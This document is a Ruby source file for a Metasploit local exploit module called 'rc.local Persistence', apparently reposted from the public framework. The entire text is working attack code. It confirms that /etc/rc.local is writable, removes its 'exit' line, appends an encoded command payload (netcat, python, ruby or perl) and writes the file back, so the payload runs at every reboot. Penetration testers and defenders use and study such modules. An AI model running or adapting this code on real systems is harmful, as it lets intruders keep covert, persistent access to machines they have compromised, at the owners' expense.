rc.local Payload Persistence Module

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Post::File  
include Msf::Post::Unix  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'rc.local Persistence',  
'Description' => %q(  
This module will edit /etc/rc.local in order to persist a payload.  
The payload will be executed on the next reboot.  
),  
'License' => MSF_LICENSE,  
'Author' => [ 'Eliott Teissonniere' ],  
'Platform' => [ 'unix', 'linux' ],  
'Arch' => ARCH_CMD,  
'Payload' => {  
'BadChars' => "#%\n",  
'Compat' => {  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic python ruby netcat perl'  
}  
},  
'SessionTypes' => [ 'shell', 'meterpreter' ],  
'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => 'true' },  
'DisclosureDate' => 'Oct 01 1980', # The rc command appeared in 4.0BSD.  
'Targets' => [ ['Automatic', {}] ],  
'DefaultTarget' => 0  
))  
end  
  
def exploit  
unless cmd_exec("test -w '/etc/rc.local' && echo true").include? 'true'  
fail_with Failure::BadConfig, '/etc/rc.local is not writable'  
end  
  
print_status('Reading /etc/rc.local')  
  
# read /etc/rc.local, but remove `exit 0`  
rc_local = read_file('/etc/rc.local').gsub(/^exit.*$/, '')  
  
# add payload and put back `exit 0`  
rc_local << "\n#{payload.encoded}\nexit 0\n"  
  
# write new file  
print_status('Patching /etc/rc.local')  
write_file('/etc/rc.local', rc_local)  
end  
end  
  
  
`